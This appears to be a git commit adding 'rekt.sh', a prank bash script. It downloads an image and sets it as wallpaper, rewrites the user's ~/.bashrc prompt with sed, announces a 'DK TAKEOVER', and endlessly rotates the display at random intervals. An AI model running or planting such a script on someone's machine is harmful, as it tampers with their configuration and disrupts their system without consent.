This commit is contained in:
2019-10-04 21:49:46 +02:00
parent 79ecf01cff
commit 9950e157cd

35
rekt.sh Executable file
View File

@@ -0,0 +1,35 @@
#!/bin/bash
sleep_rand()
{
time=$(( RANDOM % 60 + 1 ))
echo "$time"
sleep $time
}
spin()
{
while true
do
xrandr --output "DP1" --rotate normal
sleep_rand
xrandr --output "DP1" --rotate left
sleep_rand
xrandr --output "DP1" --rotate inverted
sleep_rand
xrandr --output "DP1" --rotate right
sleep_rand
done
}
dk_float()
{
i3-msg 'exec "feh /tmp/DK.jpg" floating enable, move absolute position center'
}
curl -L https://i.ytimg.com/vi/mKR0V9QjuwM/maxresdefault.jpg --output /tmp/DK.jpg
feh --bg-scale /tmp/DK.jpg
sed -i -E 's/(PS1=|PROMPT=)(.*)/#\1\2/g' ~/.bashrc
echo "PS1='\\e[0m\\e[5mD-k\\e[0m\\e[43m\\e[30m\\$'" >> ~/.bashrc
echo "DK TAKEOVER => PID == $$"
spin